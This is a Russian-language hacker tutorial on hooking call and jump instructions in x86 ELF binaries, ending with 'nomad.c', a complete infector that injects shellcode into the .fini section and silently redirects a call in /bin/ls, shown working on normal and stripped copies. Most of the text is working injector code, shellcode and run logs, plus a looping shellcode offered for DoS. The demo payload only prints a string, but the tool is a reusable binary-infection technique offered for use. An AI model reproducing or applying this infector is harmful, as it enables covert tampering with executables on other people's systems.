~ call's hookup ~
Статья изначально планировалась так - при ковырянии дампов бинарников под
linux были найдены интересные опкоды e8 00 00 00 00, тоесть пустые call
инструкции. Ну и собственно их перехват осуществлялся. Дальше после написания
нейро дизассемблера, начали перехватывать обычные call-ы и лонг-джампы.
Собственно, об этом и стотья =) let's go
[0] some intro infoz
Немного инфы для вступления. Прыжки (jmp, джампы) бывают короткие и
длинные, у короткого джампа указывается всего один байт смещения. У длинных
джампов и вызовов указывается 4 байта смещения. Притом прыжок или вызов может
быть как вперёд, так и назад. При прыжке/вызове вперёд указывается простое
смещение от конца опкода до места прыжка. Пример:
0x10: 0xe9 0x05 0x00 0x00 0x00 | прыжок +5 (вперёд на 5 байт)
0x15: 0x90 <--- смещение начинает считаться отсюда, с конца инструкции прыжка
0x16: 0x90
0x17: 0x90
0x18: 0x90
0x19: 0x90
0x1a: 0x40 <--- прыгаем сюда
коды инструкций:
0xe8 <4 байта для смещения> - call
0xe9 <4 байта для смещения> - long jump
При прыжке/вызове назад смещение считается от конца инструкции прыжка и
берётся со знаком минус. Пример:
0x10: 0x40 <-- прыгаем сюда
0x11: 0x90
0x12: 0x90
0x12: 0x90
0x13: 0x90
0x14: 0xe8 0xf6 0xff 0xff 0xff | прыжок -10 (назад на 5 байт)
0x19: .. <--- смещение считается отсюда
Чтобы прыгнуть назад на 5 байт нам нужно ещё перепрыгнуть через 5 байт
самой инструкции прыжка/вызова, всего нам надо прыгнуть на -10 байт. Прыжок
или вызов назад на -5 будет указывать в начало этой же инструкции что
приведёт к бесконечному циклу. Такой вот шеллкод можно юзать для DoS:
"\xe8\xfb\xff\xff\xff".
Вот такие пироги, надеюсь дальнейшее изложение станет понятнее благодаря
этим примерам =)
[1] null-call's hookup
Перехват пустых вызовов. Ищем инструкции такого вида:
e8 00 00 00 00 | call
GCC генерит такие пустые вызовы чтобы в стек клался eip, тобишь адрес
возврата. При вызове инструкции call адрес возврата сохраняется в стеке. Но
так как прыжка в функцию не происходит, eip так и остаётся лежать в стеке. Мы
можем смело перехватывать такие инструкции следующим образом:
1. в опкод вызова вписываем наш адрес для прыжка, скажем адрес секции .fini
2. в нашем коде мы должны продублировать адрес возврата, это делается так:
.fini:
popl %edx # load retaddr in edx
push %edx
push %edx
3. собственно выполняем наш код, потом делаем ret. Всё как обычно.
4. ещё неплохо бы, если используется стек сохранить и потом восстановить
старый stack-pointer.
в начале:
push %ebp
mov %esp, %ebp
в конце:
mov %ebp, %esp
popl %ebp
Для примера перехвата пустых вызовов напишем вот такую софтинку (в данном
случае это FreeBSD/x86, под Linux всё также кроме формата системных
вызовов):
.globl _start
_start:
call ass
ass:
popl %ecx
xorl %eax,%eax
push $1
push %eax
int $0x80
dumb:
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
Смотрим дамп:
./asm: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: e8 00 00 00 00 call 8048079 <ass>
08048079 <ass>:
8048079: 59 pop %ecx
804807a: 31 c0 xor %eax,%eax
804807c: 6a 01 push $0x1
804807e: 50 push %eax
804807f: cd 80 int $0x80
08048081 <dumb>:
8048081: 68 ed ac ef 0d push $0xdefaced
8048086: 68 ed ac ef 0d push $0xdefaced
804808b: 68 ed ac ef 0d push $0xdefaced
8048090: 68 ed ac ef 0d push $0xdefaced
8048095: 68 ed ac ef 0d push $0xdefaced
804809a: 68 ed ac ef 0d push $0xdefaced
804809f: 68 ed ac ef 0d push $0xdefaced
Идёт пустой вызов на ass, потом делаем pop %ecx - это для отладки, в нём
будет храниться адрес <ass> (если всё хорошо). Далее делаем системный вызов
exit(). У нас есть треш под меткой dumb, попробуем вписать туда свой код и
сделать чтобы он вызывался с помощью перехвата пустого вызова. Сперва глянем
как всё работает в исходном виде, заменим прерывание 0x80 на 0x82 например -
суть в том что теперь прога вывалится с сегфолтом. Запускаем через gdb и
смотрим регистры:
(gdb) run
Starting program: /root/call/./asm
Program received signal SIGBUS, Bus error. - ибо мы юзаем int 0x82
0x80487e in ass ()
(gdb) info registers ecx
ecx 0x8048079 134512761
(gdb)
Как видно, всё точно - после пустого вызова в стек кладётся адрес <ass>.
Теперь пишем свой код, вшиваем его в dumb и перенаправляем на него вызов. Вот
что получилось (код выводит "ABC\n" в stdout):
8048074: 5a pop %edx
8048075: 52 push %edx
8048076: 52 push %edx
8048077: 55 push %ebp
8048078: 89 e5 mov %esp,%ebp
804807a: 31 c0 xor %eax,%eax
804807c: 68 41 42 43 0a push $0xa434241
8048081: 89 e3 mov %esp,%ebx
8048083: 6a 04 push $0x4
8048085: 53 push %ebx
8048086: 6a 01 push $0x1
8048088: 6a 04 push $0x4
804808a: 50 push %eax
804808b: cd 80 int $0x80
804808d: 89 ec mov %ebp,%esp
804808f: 5d pop %ebp
8048090: c3 ret
Перегоним код в ascii шеллкод и напишем прогу для вшивания:
#include <stdio.h>
#include <fcntl.h>
#define CALL_ADDR 0x74
#define CODE_ADDR 0x81
char shellcode[] =
"\x5a\x52\x52\x55\x89\xe5\x31\xc0\x68\x41\x42\x43\x0a\x89"
"\xe3\x6a\x04\x53\x6a\x01\x6a\x04\x50\xcd\x80\x89\xec\x5d"
"\xc3";
int main()
{
int fd, addr;
fd = open("./asm", O_WRONLY);
lseek(fd, CALL_ADDR+1, 0);
addr = CODE_ADDR - CALL_ADDR - 5;
write(fd, &addr, 4);
lseek(fd, CODE_ADDR, 0);
write(fd, &shellcode, 29);
close(fd);
return 0;
}
Пробуем:
# gcc -o inj inj.c
# ./inj
# ./asm
ABC
#
Всё работает, теперь глянем дамп:
# objdump -d ./asm
./asm: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: e8 08 00 00 00 call 8048081 <dumb>
08048079 <ass>:
8048079: 59 pop %ecx
804807a: 31 c0 xor %eax,%eax
804807c: 6a 01 push $0x1
804807e: 50 push %eax
804807f: cd 80 int $0x80
08048081 <dumb>:
8048081: 5a pop %edx
8048082: 52 push %edx
8048083: 52 push %edx
8048084: 55 push %ebp
8048085: 89 e5 mov %esp,%ebp
8048087: 31 c0 xor %eax,%eax
8048089: 68 41 42 43 0a push $0xa434241
804808e: 89 e3 mov %esp,%ebx
8048090: 6a 04 push $0x4
8048092: 53 push %ebx
8048093: 6a 01 push $0x1
8048095: 6a 04 push $0x4
8048097: 50 push %eax
8048098: cd 80 int $0x80
804809a: 89 ec mov %ebp,%esp
804809c: 5d pop %ebp
804809d: c3 ret
804809e: 0d 68 ed ac ef or $0xefaced68,%eax
80480a3: 0d .byte 0xd
Вобщем суть в том что внедряемый код надо упаковать вот так:
0x5a pop %edx
0x52 push %edx
0x52 push %edx
0x55 push %ebp
0x89 0xe5 mov %esp,%ebp
< ТУТ КОД >
0x89 0xec mov %ebp,%esp
0x5d pop %ebp
0xc3 ret
При внедрении кода в fini, если нам нужно чтобы он исполнялся только один
раз из вызова, кладём в начало секции .fini 0xc3 (ret опкод) или код,
вызывающий sys_exit() и в вызове указываем адрес за ним.
[2] call's hookup
Перехват обычных вызовов, для рассмотрения подобной атаки напишем пример
аналогичный выше указанному :
.globl _start
_start:
call sub
xorl %eax,%eax
push $1
push %eax
int $0x80
sub:
push %ebp
movl %esp, %ebp
push $0x0a636261
movl %esp, %ebx
xorl %eax, %eax
push $4
push %ebx
push $1
push $4
push %eax
int $128
movl %ebp, %esp
popl %ebp
ret
dumb:
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
push $0xdefaced
Дамп такой:
./asm: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: e8 07 00 00 00 call 8048080 <sub>
8048079: 31 c0 xor %eax,%eax
804807b: 6a 01 push $0x1
804807d: 50 push %eax
804807e: cd 80 int $0x80
08048080 <sub>:
8048080: 55 push %ebp
8048081: 89 e5 mov %esp,%ebp
8048083: 68 61 62 63 0a push $0xa636261
8048088: 89 e3 mov %esp,%ebx
804808a: 31 c0 xor %eax,%eax
804808c: 6a 04 push $0x4
804808e: 53 push %ebx
804808f: 6a 01 push $0x1
8048091: 6a 04 push $0x4
8048093: 50 push %eax
8048094: cd 80 int $0x80
8048096: 89 ec mov %ebp,%esp
8048098: 5d pop %ebp
8048099: c3 ret
0804809a <dumb>:
804809a: 68 ed ac ef 0d push $0xdefaced
804809f: 68 ed ac ef 0d push $0xdefaced
80480a4: 68 ed ac ef 0d push $0xdefaced
80480a9: 68 ed ac ef 0d push $0xdefaced
80480ae: 68 ed ac ef 0d push $0xdefaced
80480b3: 68 ed ac ef 0d push $0xdefaced
80480b8: 68 ed ac ef 0d push $0xdefaced
80480bd: 68 ed ac ef 0d push $0xdefaced
Функция <sub> выводит "abc\n". Собственно попробуем перехватить её вызов,
наш код будем хранить в <dumb>. В данном случае всё аналогично рассмотренному
выше случаю, с некоторыми изменениями. Код будет "обёрнут" так (в конце
вместо ret-a лонг джамп):
0x55 push %ebp
0x89 0xe5 mov %esp,%ebp
< ТУТ КОД >
0x89 0xec mov %ebp,%esp
0x5d pop %ebp
0xe9 <addr> jmp
<addr> - адрес прыжка для лонг-джампа чтобы попасть в sub. Пусть
call_addr - адрес инструкции вызова, которую мы перехватываем, orig_addr -
это относительный адрес по которому происходит прыжок в функцию (он
указывается в самой инструкции вызова), а code_addr - адрес где лежит
наш код. Тогда <addr> можно найти по простой формуле:
<addr> = call_addr + orig_addr - (code_addr + shellcode_len - 1)
shellcode_len - длина нашего внедряемого кода. Таким образом мы меняем
смещение у инструкции call, и она вызывает наш код. Сохраняем старый
указатель стека и гоняем наш код. После того как код отработал,
восстанавливаем stack-pointer и прыгаем лонг джампом в оригинальную функцию
которую должен был вызвать перехваченный call. Так как мы сохраняли указатель
на стек и он не изменился, то после прыжка в <sub> она отработает как надо и
вернёт ret-ом управление по адресу возврата который тоже не изменился.
Тоесть программа работает без видимых изменений )
Вот такой получается код инфектора:
#include <stdio.h>
#include <fcntl.h>
#define CALL_ADDR 0x74
#define CODE_ADDR 0x9a
/*
shellcode FreeBSD/x86:
55 push %ebp
89 e5 mov %esp,%ebp
31 c0 xor %eax,%eax
68 41 42 43 0a push $0xa434241
89 e3 mov %esp,%ebx
6a 04 push $0x4
53 push %ebx
6a 01 push $0x1
6a 04 push $0x4
50 push %eax
cd 80 int $0x80
89 ec mov %ebp,%esp
5d pop %ebp
e9 jmp ...
в конце шеллкода не указано смещения для инструкции прыжка, оно
вписывается потом отдельно )
*/
char shellcode[] =
"\x55\x89\xe5\x31\xc0\x68\x41\x42\x43\x0a\x89\xe3"
"\x6a\x04\x53\x6a\x01\x6a\x04\x50\xcd\x80\x89\xec"
"\x5d\xe9";
int main()
{
int fd;
unsigned int o_addr, addr;
fd = open("./asm", O_RDWR);
// читаем старое смещение вызова
lseek(fd, CALL_ADDR+1, 0);
addr = CODE_ADDR - CALL_ADDR - 5;
read(fd, &o_addr, 4);
// вписываем своё, чтобы указывало на <dumb>
lseek(fd, CALL_ADDR+1, 0);
write(fd, &addr, 4);
// вписываем шеллкод в <dumb>
lseek(fd, CODE_ADDR, 0);
write(fd, &shellcode, sizeof(shellcode)-1);
// вычисляем адрес прыжка назад в <sub> и вписываем его после шеллкода
addr = CALL_ADDR + o_addr - (sizeof(shellcode)-2 + CODE_ADDR);
write(fd, &addr, 4);
close(fd);
return 0;
}
# ./asm
abc
# gcc -o inj inj.c
# ./inj
# ./asm
ABC
abc
#
Как видно из лога, всё отлично работает. Функция sub выводит "abc\n", наш
код выводит "ABC\n". А вот дамп примера, где осуществлён перехват:
./asm: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: e8 21 00 00 00 call 804809a <dumb>
8048079: 31 c0 xor %eax,%eax
804807b: 6a 01 push $0x1
804807d: 50 push %eax
804807e: cd 80 int $0x80
08048080 <sub>:
8048080: 55 push %ebp
8048081: 89 e5 mov %esp,%ebp
8048083: 68 61 62 63 0a push $0xa636261
8048088: 89 e3 mov %esp,%ebx
804808a: 31 c0 xor %eax,%eax
804808c: 6a 04 push $0x4
804808e: 53 push %ebx
804808f: 6a 01 push $0x1
8048091: 6a 04 push $0x4
8048093: 50 push %eax
8048094: cd 80 int $0x80
8048096: 89 ec mov %ebp,%esp
8048098: 5d pop %ebp
8048099: c3 ret
0804809a <dumb>:
804809a: 55 push %ebp
804809b: 89 e5 mov %esp,%ebp
804809d: 31 c0 xor %eax,%eax
804809f: 68 41 42 43 0a push $0xa434241
80480a4: 89 e3 mov %esp,%ebx
80480a6: 6a 04 push $0x4
80480a8: 53 push %ebx
80480a9: 6a 01 push $0x1
80480ab: 6a 04 push $0x4
80480ad: 50 push %eax
80480ae: cd 80 int $0x80
80480b0: 89 ec mov %ebp,%esp
80480b2: 5d pop %ebp
80480b3: e9 c8 ff ff ff jmp 8048080 <sub>
80480b8: 68 ed ac ef 0d push $0xdefaced
80480bd: 68 ed ac ef 0d push $0xdefaced
80480c2: 89 f6 mov %esi,%esi
Вот такие вот пироги )
[3] long jumps hook
Перехват лонг джампов идентичен перехвату вызовов. Если при перехвате
вызова нам нужно было заботиться о том, как вернуться назад, то при прыжках
всё проще.
[4] gone wild
Теперь попробуем перехват вызова на каком-нибудь рабочем бинарнике... В
данном примере идёт инфецирование /bin/ls. Алгоритм такой:
1. ищем .fini
- через elf таблицы символьных секций
- если облом то определяем ОС (linux или freebsd) и ищем через
сигнатуры
2. ищем нужный call()
3. берём адрес старого вызова
4. считаем новый адрес для прыжка в код, лежащий в .fini за вызовом
exit().
5. пишем в .fini наш код с высчитанным адресом возврата в оригинальную
функцию.
Вот что получилось:
/* nomad.c - ELF call()'s hooker by defaced staff. */
#include <stdio.h>
#include <fcntl.h>
#include <elf.h>
struct x86_tbl_rec
{
unsigned char op;
unsigned char op2;
unsigned char op3;
unsigned int len:4;
};
#include "disasm.h" // neiro-disassembler opcode datebase
#define CALL_SKIP 15 // infect 16-th call(), skip first 15
int fd;
Elf32_Ehdr h;
char shellcode[] =
"\x31\xc0\x6a\x01\x50\xcd\x80" // exit() syscall
// hooked call lands here:
"\x55\x89\xe5"
"\x31\xc0\x68\x63\x65\x64\x0a\x68\x64\x65\x66\x61"
"\x89\xe3\x6a\x08\x53\x6a\x01\x6a\x04\x50\xcd\x80"
"\x89\xec\x5d\xe9"; // write(1, "defaced\n", 8)
unsigned char sig[] = "@(#) C"; // FreeBSD signature
unsigned char sig1[] = "\x83\xec\x04"; // Linux signature
unsigned char sig2[] = "\x5a\x5b\x5d\xc3";
#define SKIP2 0x10
#define BACK 0x07
#define BACK2 0x0a
int check_offs(int fd)
{
unsigned char a;
lseek(fd, SKIP2, 1);
read(fd, &a, 1);
if (a != sig2[0]) return 0;
read(fd, &a, 1);
if (a != sig2[1]) return 0;
read(fd, &a, 1);
if (a != sig2[2]) return 0;
return 1;
}
int check_offs_bsd(int fd)
{
unsigned int cnt;
unsigned char a;
lseek(fd, -7, 1);
read(fd, &a, 1);
for (cnt=0; cnt < 0xf000; cnt++)
{
if (a == 0xc3) break;
lseek(fd, -2, 1);
read(fd, &a, 1);
}
if (a != 0xc3) return 0;
return 1;
}
/* find .fini via elf symbol section headers */
int get_fini_elf()
{
int i;
Elf32_Shdr sh;
lseek(fd, h.e_shoff, 0);
for (i=0; i < h.e_shnum; i++)
{
read(fd, &sh, sizeof(Elf32_Shdr));
if (sh.sh_size == 0x06 || sh.sh_size == 0x1b)
return sh.sh_offset;
}
return 0;
}
/* find .fini via signatures */
int get_fini_sig()
{
int i, offs, os = 0;
unsigned char a;
// check for OS
if (h.e_ident[7] == 0x03) os = 1; // linux
if (h.e_ident[7] == 0x09) os = 2; // freebsd
if (os == 0) return 0;
i = offs = 0;
// FreeBSD
if (os == 2)
{
while( read(fd, &a, 1) == 1)
{
offs++;
if (a == sig[i]) i++;
else i = 0;
if (i == 6) break;
}
if (i != 6 || !check_offs_bsd(fd)) return 0;
offs -= BACK2;
} else {
while( read(fd, &a, 1) == 1)
{
offs++;
if (a == sig1[i]) i++;
else i = 0;
if (i == 3)
{
if (check_offs(fd)) break;
offs += 17;
i = 0;
}
}
if (i != 3) return 0;
offs -= BACK;
}
return offs;
}
int main(int argc, char *argv[])
{
int i, call_cnt = 0;
unsigned int disp, o_addr, fini, addr, offs=0;
unsigned char a,b;
if (argc < 2)
{
printf("usage: %s <file>\n", argv[0]);
return 0;
}
fd = open(argv[1], O_RDWR);
read(fd, &h, sizeof(Elf32_Ehdr));
if (h.e_entry < 0x8048010)
{
printf("[-] bad entry point, is it lib?\n");
return 0;
}
printf("[+] get fini via ELF\n");
fini = get_fini_elf();
if (fini == 0)
{
printf("[+] nope, get fini via signature\n");
fini = get_fini_sig();
}
if (fini == 0)
{
printf("[-] cant find .fini section\n");
return 0;
}
printf("[+] fini = 0x%x (0x%x)\n", fini, fini+0x8048000);
offs = h.e_entry - 0x8048000;
lseek(fd, offs, 0);
while( read(fd, &a, 1) == 1)
{
if (a == 0)
{
read(fd, &b, 1);
if (b == 0) break;
lseek(fd, -1, 1);
}
for (i=0; i < sizeof(opcode_lst)/sizeof(struct x86_tbl_rec); i++)
{
if (opcode_lst[i].op != a) continue;
if (opcode_lst[i].op2 != 0)
{
read(fd, &b, 1);
lseek(fd, -1, 1);
if (opcode_lst[i].op2 != b) continue;
}
if (opcode_lst[i].op2 != 0 && opcode_lst[i].op3 != 0)
{
lseek(fd, 1, 1);
read(fd, &b, 1);
lseek(fd, -2, 1);
if (opcode_lst[i].op3 != b) continue;
}
lseek(fd, opcode_lst[i].len-1, 1);
if (opcode_lst[i].op == 0xe8)
{
if (call_cnt <= CALL_SKIP) call_cnt++;
else i = sizeof(opcode_lst)/sizeof(struct x86_tbl_rec);
}
offs += opcode_lst[i].len-1;
break;
}
offs++;
if (i == sizeof(opcode_lst)/sizeof(struct x86_tbl_rec))
break;
}
if (offs <= (h.e_entry - 0x8048000))
{
printf("[-] cant find call()'s\n");
return 0;
}
printf("[+] got call() to infect (0x%x) (0x%x)\n",
offs, offs+0x8048000);
/* fixup call() instruction */
lseek(fd, offs+1, 0);
read(fd, &o_addr, 4);
lseek(fd, -4, 1);
addr = fini + 7 - offs - 5;
write(fd, &addr, 4);
lseek(fd, fini, 0);
write(fd, &shellcode, sizeof(shellcode)-1);
addr = offs + o_addr - (sizeof(shellcode)-2 + fini);
write(fd, &addr, 4);
close(fd);
return 0;
}
Тестируем:
# gcc -o nomad nomad.c
# cp /bin/ls ./ls
# ./ls
asm asm.o disasm.h ls nomad nomad.c
# ./nomad ./ls
[+] get fini via ELF
[+] fini = 0x3bc8 (0x804bbc8)
[+] got call() to infect (0x126a) (0x804926a)
# ./ls
defaced
asm asm.o disasm.h ls nomad nomad.c
# cp /bin/ls ./ls
# ./ls
asm asm.o disasm.h ls nomad nomad.c
# sstrip ./ls
# ./nomad ./ls
[+] get fini via ELF
[+] nope, get fini via signature
[+] fini = 0x3bfc (0x804bbfc)
[+] got call() to infect (0x126a) (0x804926a)
# ./ls
defaced
asm asm.o disasm.h ls nomad nomad.c
#
Как видно из примера, инфецирование удалось =) Исходник nomad лежит в
инклудах, так что ковыряйтесь & have fun.